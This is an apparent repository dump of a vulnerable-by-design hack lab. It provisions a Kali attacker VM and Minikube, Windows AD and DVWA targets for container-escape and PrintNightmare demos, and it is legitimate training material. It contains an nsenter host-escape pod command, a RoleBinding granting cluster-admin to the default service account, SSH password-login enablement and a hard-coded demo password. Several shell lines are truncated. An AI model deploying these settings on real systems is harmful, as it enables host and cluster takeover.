48 | sudo [ ! -f $ROOT_DIR/pod-esc16 ] && echo ' command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]' > $ROOT_DIR/pod-esc16
49 |
50 | sudo cat $ROOT_DIR/pod-esc* > $ROOT_DIR/pod-esc.yaml
51 |
52 | sudo rm $ROOT_DIR/pod-esc{01..16}
--------------------------------------------------------------------------------
/hack-lab/container-escape/gcp/variables.tf:
--------------------------------------------------------------------------------
1 | variable "region" {
2 | description = "The region/location where to deploy"
3 | type = string
4 | }
5 |
6 | variable "zone" {
7 | description = "The zone where to deploy"
8 | type = string
9 | }
10 |
11 | variable "project_id" {
12 | type = string
13 | }
14 |
15 | variable "project_number" {
16 | type = string
17 | }
18 |
19 | variable "gke_version" {
20 | type = string
21 | default = "1.25.15-gke.1083000"
22 | }
23 |
--------------------------------------------------------------------------------
/hack-lab/container-escape/gcp/versions.tf:
--------------------------------------------------------------------------------
1 | terraform {
2 | required_providers {
3 | google = {
4 | source = "hashicorp/google"
5 | version = "4.62.0"
6 | }
7 |
8 | google-beta = {
9 | source = "hashicorp/google-beta"
10 | version = "4.62.0"
11 | }
12 |
13 | random = {
14 | source = "hashicorp/random"
15 | version = "3.5.1"
16 | }
17 |
18 | time = {
19 | source = "hashicorp/time"
20 | version = "0.9.1"
21 | }
22 | }
23 | }
--------------------------------------------------------------------------------
/hack-lab/container-escape/minikube/README.md:
--------------------------------------------------------------------------------
1 | # DOD Amsterdam Hacklab
2 |
3 | This folder contains Terraform automation code to provision the following:
4 |
5 | - **AWS VPC**
6 | - **Kali Linux AWS EC2 Instance** - This instance is provisioned for the demonstration of the container-escape and windows hack.
7 | - **Ubuntu 20.04 AWS EC2 Instance** - This instance is provisioned for the minikube and to demonstrate the container escape
8 | - **Windows 2016** - This instance is provisioned for the demonstration of the Windows Hack and PrintNightmare vulnerability. (ami-0808d6a0d91e57fd3 in eu-central-1)
9 |
10 | ### Prerequisites
11 |
12 | - [AWS Account](https://aws.amazon.com/free/)
13 | - [AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/install-cliv2.html) - `~> aws-cli/2.4.28`
14 | - [Terraform](https://learn.hashicorp.com/tutorials/terraform/install-cli) - `~> v1.0.5`
15 | - [AWS EC2 Key Pair](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/create-key-pairs.html) - You should already have an AWS key pair created and uploaded to the region where you want to provision.
16 |
17 | ## Configuration
18 |
19 | Before provisioning set the following environment variables:
20 |
21 | - `TF_VAR_region` - AWS region where you want to provision the cluster.
22 | - `TF_VAR_demo_name` - This is a prefix that will be applied to all provisioned resources (i.e. `your_name`).
23 | - `TF_VAR_ssh_key` - AWS EC2 key pair for Kali linux access.
24 | - `TF_VAR_ssh_key_path` - Path to to local ssh key for connecting to Kali Linux instance.
25 | - `TF_VAR_publicIP` - IP address of your home network to be applied to the security group for the Kali Linux, Ubuntu and Windows instance. example: `1.1.1.1/32`
26 |
27 | ### Example configuration
28 |
29 | Open a terminal and run the following commands:
30 |
31 | ```bash
32 | export TF_VAR_region=eu-central-1
33 |
34 | export TF_VAR_demo_name=dod-amsterdam
35 |
36 | export TF_VAR_ssh_key=patrick-key
37 |
38 | export TF_VAR_publicIP="1.1.1.1/32"
39 | ```
40 |
41 | ## Provision a single environment
42 |
43 | 1. Clone the project
44 |
45 | ```bash title="Clone the project"
46 | https://github.com/Lunalectric/container-escape
47 | ```
48 |
49 | 2. cd into the dod-amsterdam-hacklab folder
50 |
51 | ```bash
52 | cd container-escape/minikube
53 | ```
54 |
55 | 3. Initialize the project (download modules)
56 |
57 | ```bash
58 | terraform init
59 | ```
60 |
61 | 4. Check that everything is ready
62 |
63 | ```bash
64 | terraform plan
65 | ```
66 |
67 | 5. Apply the configuration
68 |
69 | ```bash
70 | terraform apply -auto-approve
71 | ```
72 |
73 | 6. Create Hack-Write-up as Markdown
74 |
75 | ```bash
76 | terraform output | sed "/^EOT/c\ " | sed "/hack_write_up = < Hack-writeup.md
77 | ```
78 |
79 | Once the provisioning completes you will see something like this:
80 |
81 | ```bash
82 | Apply complete! Resources: 0 added, 0 changed, 0 destroyed.
83 |
84 | Outputs:
85 |
86 | hack_write_up = < terraform-run.log
65 | sed "/^EOT/c\ " terraform-run.log | sed "/hack_write_up = < "$c.md"
66 | cd ../../
67 |
68 | sleep 1
69 | done
70 |
--------------------------------------------------------------------------------
/hack-lab/container-escape/minikube/multi_destroy.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # Copyright (c) Mondoo, Inc.
3 | # SPDX-License-Identifier: MPL-2.0
4 |
5 |
6 | ############################################################
7 | # Help #
8 | ############################################################
9 | Help()
10 | {
11 | # Display Help
12 | echo "Destroy terraform template multiple times with -c."
13 | echo
14 | echo "Syntax: multi_destroy [-c|-h]"
15 | echo "options:"
16 | echo "c count"
17 | echo "h Print this Help."
18 | echo
19 | }
20 |
21 | # Set variables
22 | Count=0
23 |
24 | ############################################################
25 | # Process the input options. Add options as needed. #
26 | ############################################################
27 | # Get the options
28 | while getopts ":hc:" option; do
29 | case $option in
30 | h) # display Help
31 | Help
32 | exit;;
33 | c) # Enter a count
34 | Count=$OPTARG;;
35 | \?) # Invalid option
36 | echo "Error: Invalid option"
37 | exit;;
38 | esac
39 | done
40 |
41 | if [ $Count == 0 ];
42 | then
43 | Help
44 | exit;
45 | fi
46 |
47 | echo "Destroy $Count evironments"
48 |
49 | for (( c=1; c<=$Count; c++ ))
50 | do
51 | Folder="deployments/$c"
52 |
53 | cd $Folder
54 | source ./set-exports.sh
55 | terraform apply -destroy -auto-approve
56 |
57 | cd ../../
58 |
59 | sleep 1
60 | done
61 |
--------------------------------------------------------------------------------
/hack-lab/container-escape/minikube/provider.tf:
--------------------------------------------------------------------------------
1 | provider "aws" {
2 | region = var.region
3 | }
4 |
--------------------------------------------------------------------------------
/hack-lab/container-escape/minikube/templates/change-password.tpl:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | echo "kali:${pass_string}" | sudo chpasswd
4 | sed -i "/^[^#]*PasswordAuthentication[[:space:]]no/c\PasswordAuthentication yes" /etc/ssh/sshd_config
5 | systemctl restart sshd
6 |
7 | sudo mkdir /tmp/ssm
8 | cd /tmp/ssm
9 | wget https://s3.amazonaws.com/ec2-downloads-windows/SSMAgent/latest/debian_amd64/amazon-ssm-agent.deb
10 | sudo dpkg -i amazon-ssm-agent.deb
11 | sudo systemctl enable amazon-ssm-agent
12 | rm amazon-ssm-agent.deb
--------------------------------------------------------------------------------
/hack-lab/container-escape/minikube/templates/minikube-install.tpl:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | sudo apt update && sudo apt remove -y netcat-openbsd && sudo apt install -y netcat-traditional jq
4 | sudo apt install -y ca-certificates curl gnupg lsb-release
5 | sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
6 | sudo echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
7 | sudo apt update
8 | sudo apt install -y docker-ce docker-ce-cli containerd.io docker-compose
9 |
10 | sudo usermod -a -G docker ubuntu
11 |
12 | sudo apt install -y uidmap
13 | dockerd-rootless-setuptool.sh uninstall --force
14 |
15 | wget https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
16 | chmod +x minikube-linux-amd64
17 | sudo mv minikube-linux-amd64 /usr/local/bin/minikube
18 |
19 | minikube version
20 |
21 | curl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl
22 | chmod +x ./kubectl
23 | sudo mv ./kubectl /usr/local/bin/kubectl
24 |
25 | echo "ubuntu:${pass_string}" | sudo chpasswd
26 | sed -i "/^[^#]*PasswordAuthentication[[:space:]]no/c\PasswordAuthentication yes" /etc/ssh/sshd_config
27 | systemctl restart sshd
28 |
29 | curl -ko /home/ubuntu/dvwa-deployment-no-privileged.yaml https://raw.githubusercontent.com/Lunalectric/container-escape/main/assets/dvwa-deployment-no-privileged.yml
30 | curl -ko /home/ubuntu/dvwa-deployment.yaml https://raw.githubusercontent.com/Lunalectric/container-escape/main/assets/dvwa-deployment.yml
31 |
32 | cat << EOF >> /home/ubuntu/rolebinding-abuse.yaml
33 | apiVersion: rbac.authorization.k8s.io/v1
34 | kind: RoleBinding
35 | metadata:
36 | name: abuse-role
37 | namespace: default
38 | roleRef:
39 | apiGroup: rbac.authorization.k8s.io
40 | kind: ClusterRole
41 | name: cluster-admin
42 | subjects:
43 | - namespace: default
44 | kind: ServiceAccount
45 | name: default
46 | EOF
--------------------------------------------------------------------------------
/hack-lab/container-escape/minikube/variables.tf:
--------------------------------------------------------------------------------
1 | // VARIABLES
2 |
3 | variable "region" {
4 | default = "us-east-2"
5 | description = "AWS Region"
6 | }
7 |
8 | variable "demo_name" {
9 | description = "A name to be applied as a suffix to project resources"
10 | type = string
11 | }
12 |
13 | variable "ssh_key" {
14 | description = "SSH key associated with instances"
15 | }
16 |
17 | variable "ssh_key_path" {
18 | default = "$HOME/.ssh/id_rsa"
19 | description = "Path to SSH key used for Kali Linux instance"
20 | }
21 |
22 | variable "publicIP" {
23 | description = "Your home PublicIP to configure access to VMs(if needed)"
24 | }
25 |
--------------------------------------------------------------------------------
/hack-lab/container-escape/minikube/versions.tf:
--------------------------------------------------------------------------------
1 | terraform {
2 | required_providers {
3 | aws = {
4 | source = "hashicorp/aws"
5 | version = "~> 4.33.0"
6 | }
7 |
8 | random = {
9 | source = "hashicorp/random"
10 | version = "~> 3.4.3"
11 | }
12 |
13 | local = {
14 | source = "hashicorp/local"
15 | version = "~> 2.2.3"
16 | }
17 | }
18 | }
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/README.md:
--------------------------------------------------------------------------------
1 | # Windows Hack Demo
2 |
3 | This folder contains Terraform automation code to provision the following:
4 |
5 | - **AWS VPC**
6 | - **Kali Linux AWS EC2 Instance** - This instance is provisioned for the demonstration of the Windows hack, it is the attacker vm.
7 | - **Windows 2022 AD** - This instance is provisioned for the demonstration of Windows Active Directory hacks.
8 | - **Windows 2016 Exchange** - This instance is provisioned for the demonstration of the Windows Exchange hacks.
9 | - **Windows 2016 DVWA** - This instance is provisioned for the demonstration of the Windows Hack and PrintNightmare vulnerability/ DVWA App hack. (ami-0808d6a0d91e57fd3 in eu-central-1)
10 |
11 | ### Prerequisites
12 |
13 | - [AWS Account](https://aws.amazon.com/free/)
14 | - [AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/install-cliv2.html) - `~> aws-cli/2.4.28`
15 | - [Terraform](https://learn.hashicorp.com/tutorials/terraform/install-cli) - `~> v1.0.5`
16 | - [AWS EC2 Key Pair](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/create-key-pairs.html) - You should already have an AWS key pair created and uploaded to the region where you want to provision.
17 | - [Ansible](https://www.ansible.com/)
18 |
19 | #### Ansible
20 |
21 | Install the following Ansible collections
22 |
23 | ```bash
24 | ansible-galaxy collection install ansible.windows
25 | ansible-galaxy collection install community.windows
26 | ansible-galaxy collection install microsoft.ad
27 | ansible-galaxy collection install chocolatey.chocolatey
28 | ```
29 |
30 | ## Configuration
31 |
32 | Before provisioning set the following environment variables:
33 |
34 | - `TF_VAR_region` - AWS region where you want to provision the cluster.
35 | - `TF_VAR_demo_name` - This is a prefix that will be applied to all provisioned resources (i.e. `your_name`).
36 | - `TF_VAR_ssh_key` - AWS EC2 key pair for Kali linux access.
37 | - `TF_VAR_ssh_key_path` - Path to to local ssh key for connecting to Kali Linux instance.
38 | - `TF_VAR_publicIP` - IP address of your home network to be applied to the security group for the Kali Linux, Ubuntu and Windows instance. example: `1.1.1.1/32`
39 |
40 | ### Example configuration
41 |
42 | Open a terminal and run the following commands:
43 |
44 | ```bash
45 | export TF_VAR_region=us-east-1
46 |
47 | export TF_VAR_demo_name=Mondoo-hacking
48 |
49 | export TF_VAR_ssh_key=key
50 |
51 | export TF_VAR_ssh_key_path="~/.ssh/key.pem"
52 |
53 | export TF_VAR_publicIP="1.1.1.1/32"
54 |
55 | export TF_VAR_admin_password="MondooSPM1!"
56 | ```
57 |
58 | ```bash title="set-exports.sh"
59 | #!/bin/bash
60 |
61 | export AWS_REGION=us-east-1
62 | export AWS_PROFILE=default
63 | export TF_VAR_region=us-east-1
64 | export TF_VAR_demo_name=Mondoo-hacking
65 | export TF_VAR_ssh_key=key
66 | export TF_VAR_ssh_key_path="~/.ssh/key.pem"
67 | export TF_VAR_publicIP="1.1.1.1/32"
68 | ```
69 |
70 | ## Provision a single environment
71 |
72 | 1. Clone the project
73 |
74 | ```bash title="Clone the project"
75 | git clone git@github.com:Lunalectric/windows-hack-environment.git
76 | ```
77 |
78 | 2. cd into the windows-hack-demo folder
79 |
80 | ```bash
81 | cd windows-hack-environment
82 | ```
83 |
84 | 3. Initialize the project (download modules)
85 |
86 | ```bash
87 | terraform init
88 | ```
89 |
90 | 4. Check that everything is ready
91 |
92 | ```bash
93 | terraform plan -out plan.out
94 | ```
95 |
96 | 5. Apply the configuration
97 |
98 | ```bash
99 | terraform apply -auto-approve plan.out
100 | ```
101 |
102 | Once the provisioning completes you will see something like this:
103 |
104 | ```bash
105 | Apply complete! Resources: 39 added, 0 changed, 0 destroyed.
106 |
107 | Outputs:
108 |
109 | hack_write_up = <
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/files/gpo_backup/{7019A447-1699-4D1A-AF1F-FB6064E39B62}/Backup.xml:
--------------------------------------------------------------------------------
1 |
2 | 01 00 04 9c 00 00 00 00 00 00 00 00 00 00 00 00 14 00 00 00 04 00 ec 00 08 00 00 00 05 02 28 00 00 01 00 00 01 00 00 00 8f fd ac ed b3 ff d1 11 b4 1d 00 a0 c9 68 f9 39 01 01 00 00 00 00 00 05 0b 00 00 00 00 00 24 00 ff 00 0f 00 01 05 00 00 00 00 00 05 15 00 00 00 3c 92 8d 14 b2 58 68 65 58 ed aa 6f 00 02 00 00 00 02 24 00 ff 00 0f 00 01 05 00 00 00 00 00 05 15 00 00 00 3c 92 8d 14 b2 58 68 65 58 ed aa 6f 00 02 00 00 00 02 24 00 ff 00 0f 00 01 05 00 00 00 00 00 05 15 00 00 00 3c 92 8d 14 b2 58 68 65 58 ed aa 6f 07 02 00 00 00 02 14 00 94 00 02 00 01 01 00 00 00 00 00 05 09 00 00 00 00 02 14 00 94 00 02 00 01 01 00 00 00 00 00 05 0b 00 00 00 00 02 14 00 ff 00 0f 00 01 01 00 00 00 00 00 05 12 00 00 00 00 0a 14 00 ff 00 0f 00 01 01 00 00 00 00 00 03 00 00 00 00
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/files/gpo_backup/{7019A447-1699-4D1A-AF1F-FB6064E39B62}/DomainSysvol/GPO/Machine/Microsoft/Windows NT/SecEdit/GptTmpl.inf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/files/gpo_backup/{7019A447-1699-4D1A-AF1F-FB6064E39B62}/DomainSysvol/GPO/Machine/Microsoft/Windows NT/SecEdit/GptTmpl.inf
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/files/gpo_backup/{7019A447-1699-4D1A-AF1F-FB6064E39B62}/DomainSysvol/GPO/Machine/registry.pol:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/files/gpo_backup/{7019A447-1699-4D1A-AF1F-FB6064E39B62}/DomainSysvol/GPO/Machine/registry.pol
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/files/gpo_backup/{7019A447-1699-4D1A-AF1F-FB6064E39B62}/bkupInfo.xml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/files/gpo_backup/{7019A447-1699-4D1A-AF1F-FB6064E39B62}/gpreport.xml:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/files/gpo_backup/{7019A447-1699-4D1A-AF1F-FB6064E39B62}/gpreport.xml
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/library/win_adcs_template.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | # Copyright: (c) 2018, Jordan Borean
5 | # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
6 |
7 | ANSIBLE_METADATA = {'metadata_version': '1.1',
8 | 'status': ['preview'],
9 | 'supported_by': 'community'}
10 |
11 | DOCUMENTATION = r'''
12 | ---
13 | module: win_adcs_template
14 | short_description: Imports a certificate template into AD CS.
15 | description:
16 | - This module will import a template provided by the I(template) option into
17 | the local AD CS instance.
18 | - This template must be manually exported from AD CS as it is follows a
19 | particular format, see U(https://blogs.technet.microsoft.com/pki/2009/09/25/introducing-certificate-template-api/)
20 | for a guide on how to do that.
21 | options:
22 | dacl:
23 | description:
24 | - A list of DACL entries to apply to the imported template.
25 | - This is only applied if the template has not already been imported.
26 | suboptions:
27 | user:
28 | description:
29 | - The user or SID to apply the DACL entry to.
30 | required: yes
31 | rights:
32 | description:
33 | - A list of rights to apply for the DACL entry.
34 | required: yes
35 | choices:
36 | - read_control
37 | - delete
38 | - write_dac
39 | - write_owner
40 | - read_prop
41 | - write_prop
42 | - create_child
43 | - delete_child
44 | - list_child
45 | - self_write
46 | - list_object
47 | - delete_tree
48 | - control_access
49 | type:
50 | description:
51 | - If the ACE entry is an object ACE, this is the type of object.
52 | choices:
53 | - enroll
54 | - auto_enroll
55 | qualifier:
56 | description:
57 | - The value that specified the ACE qualifier.
58 | options:
59 | - AccessAllowed
60 | - AccessDenied
61 | - SystemAlarm
62 | - SystemAudit
63 | group:
64 | description:
65 | - The account or SID of the group applied to the template's security
66 | descriptor.
67 | - This is only applied if the template is imported.
68 | owner:
69 | description:
70 | - The account or SID of the owner applied to the template's security
71 | descriptor.
72 | - This is only applied if the template is imported.
73 | templates:
74 | description:
75 | - The XML string that defines the template(s) to import.
76 | - This value is from the exported template from an existing AD CS server.
77 | required: yes
78 | notes:
79 | - This module requires Ansible become to run, if become is not set on the
80 | Ansible task explicitly, then the C(SYSTEM) account will be used.
81 | - This module will import the template to the default AD CS server that is
82 | configured on the remote host.
83 | - This module uses components that are only available on Server 2012 or newer.
84 | author:
85 | - Jordan Borean (@jborean93)
86 | '''
87 |
88 | EXAMPLES = r'''
89 | - name: import AD CS template
90 | win_adcs_template:
91 | templates: '{{ lookup("template", "certificate.xml.j2") }}'
92 | dacl:
93 | - user: Enterprise Admins
94 | rights:
95 | - create_child
96 | - delete_child
97 | - list_child
98 | - self_write
99 | qualifier: AccessAllowed
100 | - user: Domain Computers
101 | rights:
102 | - control_access
103 | type: auto_enroll
104 | qualifier: AllowAccess
105 | - user: Domain Computers
106 | rights:
107 | - read_prop
108 | - write_prop
109 | - control_access
110 | type: enroll
111 | qualifier: AllowAccess
112 | owner: Enterprise Admins
113 | group: Enterprise Admins
114 | '''
115 |
116 | RETURN = r'''
117 | added_templates:
118 | description: A list of templates that were added
119 | returned: always
120 | type: list
121 | sample: ["Template2"]
122 | templates:
123 | description: A list of templates that were read in the I(templates) XML
124 | string
125 | returned: always
126 | type: list
127 | sample: ["Template1", "Template2", "Template3"]
128 | sddl:
129 | description: The SDDL string that will be applied to the imported templates
130 | returned: always
131 | type: str
132 | sample: 'O:EAG:EAD:PAI(A;;CCDCLCSW;;;EA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DC)(OA;;CR;a05b8cc2-17bc-4802-a710-e7c15ab866a2;;DC)'
133 | skipped_templates:
134 | description: A list of templates that were not added as they were already
135 | present
136 | returned: always
137 | type: list
138 | sample: ["Template1", "Template3"]
139 | '''
140 |
141 |
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/library/win_gpo_link.ps1:
--------------------------------------------------------------------------------
1 | #!powershell
2 |
3 | # Copyright: (c) 2018, Jordan Borean
4 | # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
5 |
6 | #Requires -Module Ansible.ModuleUtils.Legacy
7 |
8 | $params = Parse-Args -arguments $args -supports_check_mode $true
9 | $check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
10 |
11 | $name = Get-AnsibleParam -obj $params -name "name" -type "str" -failifempty $true
12 | $state = Get-AnsibleParam -obj $params -name "state" -type "str" -default "present" -ValidateSet "absent", "present"
13 | $enforced = Get-AnsibleParam -obj $params -name "enforced" -type "bool"
14 | $enabled = Get-AnsibleParam -obj $params -name "enabled" -type "bool"
15 | $target = Get-AnsibleParam -obj $params -name "target" -type "str"
16 |
17 | if (-not $target) {
18 | $target = (Get-ADRootDSE).defaultNamingContext
19 | }
20 |
21 | $result = @{
22 | changed = $false
23 | }
24 |
25 | $link = (Get-GPInheritance -Target $target).GpoLinks | Where-Object { $_.DisplayName -eq $name }
26 | if ($state -eq "present") {
27 | if (-not $link) {
28 | $link = New-GPLink -Name $name -Target $target -WhatIf:$check_mode
29 | $result.changed = $true
30 | }
31 |
32 | if ($null -ne $enabled -and $link.Enabled -ne $enabled) {
33 | $enabled_value = if ($enabled) { "Yes" } else { "No" }
34 | $link = $link | Set-GPLink -LinkEnabled $enabled_value -WhatIf:$check_mode
35 | $result.changed = $true
36 | }
37 | if ($null -ne $enforced -and $link.Enforced -ne $enforced) {
38 | $enforced_value = if ($enforced) { "Yes" } else { "No" }
39 | $link = $link | Set-GPLink -Enforced $enforced_value -WhatIf:$check_mode
40 | $result.changed = $true
41 | }
42 | } else {
43 | if ($link) {
44 | $link | Remove-GPLink -WhatIf:$check_mode
45 | $result.changed = $true
46 | }
47 | }
48 |
49 | Exit-Json -obj $result
50 |
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/library/win_gpo_link.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | # Copyright: (c) 2018, Jordan Borean
5 | # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
6 |
7 | ANSIBLE_METADATA = {'metadata_version': '1.1',
8 | 'status': ['preview'],
9 | 'supported_by': 'community'}
10 |
11 | DOCUMENTATION = r'''
12 | ---
13 | module: win_gpo_link
14 | short_description: Sets up a GPO link.
15 | description:
16 | - Can link a GPO to the target specified.
17 | options:
18 | name:
19 | description:
20 | - The name of the GPO to manage the link for.
21 | required: yes
22 | state:
23 | description:
24 | - When C(yes), the link will be created.
25 | - When C(no), the link will be removed.
26 | choices:
27 | - absent
28 | - present
29 | default: present
30 | enforced:
31 | description:
32 | - Whether the link will be enforced or not.
33 | type: bool
34 | enabled:
35 | description:
36 | - Whether the link will be enabled or not.
37 | type: bool
38 | target:
39 | description:
40 | - The LDAP path of the target to link the GPO to.
41 | - When not specified, this will be the whole domain.
42 | author:
43 | - Jordan Borean (@jborean93)
44 | '''
45 |
46 | EXAMPLES = r'''
47 | - name: link and enable, force the GPO test-gpo to the root domain
48 | win_gpo_link:
49 | name: test-gpo
50 | state: present
51 | enforced: yes
52 | enabled: yes
53 |
54 | - name: remove the GPO link for test-gpo on the root domain
55 | win_gpo_link:
56 | name: test-gpo
57 | state: absent
58 |
59 | - name: link the GPO test-gpo to the Servers OU container
60 | win_gpo_link:
61 | name: test-gpo
62 | state: present
63 | target: OU=Server,DC=domain,DC=local
64 | '''
65 |
66 | RETURN = r'''
67 | '''
68 |
69 |
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/library/win_gpo_reg.ps1:
--------------------------------------------------------------------------------
1 | #!powershell
2 |
3 | # Copyright: (c) 2018, Jordan Borean
4 | # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
5 |
6 | #Requires -Module Ansible.ModuleUtils.Legacy
7 |
8 | $ErrorActionPreference = "Stop"
9 |
10 | $params = Parse-Args -arguments $args -supports_check_mode $true
11 | $check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
12 |
13 | $gpo = Get-AnsibleParam -obj $params -name "gpo" -type "str" -failifempty $true
14 | $path = Get-AnsibleParam -obj $params -name "path" -type "str" -failifempty $true
15 | $name = Get-AnsibleParam -obj $params -name "name" -type "str" -default ""
16 | $value = Get-AnsibleParam -obj $params -name "value" -type "str"
17 | $type = Get-AnsibleParam -obj $params -name "type" -type "str" -default "String" -ValidateSet "String", "ExpandString", "Binary", "DWord", "MultiString", "QWord"
18 |
19 | $result = @{
20 | changed = $false
21 | }
22 |
23 | $existing_value = Get-GPRegistryValue -Name $gpo -Key $path -ValueName $name
24 | $before_value = $existing_value.Value
25 | $before_type = $existing_value.Type.ToString()
26 |
27 | # it seems like strings values returned with Get-GPRegistryValue have a null
28 | # terminator on the end, Set-GPRegistryValue does not require this and takes
29 | # the string literally so we will lop it off before comparing with our value
30 | if ($before_type -in @("String", "ExpandString")) {
31 | if ($before_value.EndsWith([char]0x0000)) {
32 | $before_value = $before_value.Substring(0, $before_value.Length - 1)
33 | }
34 | }
35 |
36 | $result.before_value = $before_value
37 | $result.before_type = $before_type
38 | if (($before_value -ne $value) -or ($before_type -ne $type)) {
39 | Set-GPRegistryValue -Name $gpo -Key $path -ValueName $name -Value $value -Type $type -WhatIf:$check_mode > $null
40 | $result.changed = $true
41 | }
42 |
43 | Exit-Json -obj $result
44 |
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/library/win_gpo_reg.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | # Copyright: (c) 2018, Jordan Borean
5 | # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
6 |
7 | ANSIBLE_METADATA = {'metadata_version': '1.1',
8 | 'status': ['preview'],
9 | 'supported_by': 'community'}
10 |
11 | DOCUMENTATION = r'''
12 | ---
13 | module: win_gpo_reg
14 | short_description: Configured a registry-based policy in a GPO.
15 | description:
16 | - This module will configure a registry based policy under either Computer
17 | COnfiguration or User Configuration in a Group Policy Object (GPO).
18 | - This uses the *-GPRegistryValue cmdlets and are restricted to what they can
19 | do, see U(https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpregistryvalue?view=win10-ps)
20 | for more details.
21 | options:
22 | gpo:
23 | description:
24 | - The GPO that contains the registry policy to configure.
25 | required: yes
26 | path:
27 | description:
28 | - The registry path starting with either C(HKLM\) or C(HKCU\) to the
29 | registry key to configure.
30 | required: yes
31 | name:
32 | description:
33 | - The name of the registry property to set the value for.
34 | - If omitted then this will be the default value of the key specified by
35 | I(path).
36 | value:
37 | description:
38 | - The value of the registry property to set.
39 | - Not specifying this option will set the registry property to null.
40 | type:
41 | description:
42 | - The type of value to set.
43 | - If the type does not match the existing type, then a change will occur
44 | with the new type set.
45 | choices:
46 | - String
47 | - ExpandString
48 | - Binary
49 | - DWord
50 | - MultiString
51 | - QWord
52 | default: String
53 | author:
54 | - Jordan Borean (@jborean93)
55 | '''
56 |
57 | EXAMPLES = r'''
58 | - name: set the value of the default registry property on the path
59 | win_gpo_reg:
60 | gpo: test-gpo
61 | path: HKLM\Software\Policies\Microsoft\Cryptography\PolicyServers
62 | value: '{3ae4929f-4e0f-4a31-bd53-8fc5a98c2390}'
63 | type: String
64 |
65 | - name: set the value of a named registry property on the path
66 | win_gpo_reg:
67 | gpo: test-gpo
68 | path: HKLM\Software\Policies\Microsoft\Cryptography\PolicyServers\37c9dc30f207f27f61a2f7c3aed598a6e2920b54
69 | name: PolicyID
70 | value: '{3ae4929f-4e0f-4a31-bd53-8fc5a98c2390}'
71 | type: String
72 | '''
73 |
74 | RETURN = r'''
75 | before_value:
76 | description: The value that was previously set
77 | returned: always
78 | type: str
79 | sample: original value
80 | before_type:
81 | description: The type of the value that was previously set
82 | returned: always
83 | type: str
84 | sample: String
85 | '''
86 |
87 |
--------------------------------------------------------------------------------
/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/tasks/adcs_template.yml:
--------------------------------------------------------------------------------
1 | # These steps are following the ones shown at just in code form
2 | # https://www.virtuallyboring.com/setup-microsoft-active-directory-certificate-services-ad-cs/
3 | ---
4 | - name: ensure the ADCS feature is installed
5 | win_feature:
6 | name: AD-Certificate
7 | state: present
8 | register: pri_adcs_enrollment_install
9 |
10 | - name: reboot host if required
11 | win_reboot:
12 | when: pri_adcs_enrollment_install.reboot_required
13 |
14 | - name: configure AD CS certification authority
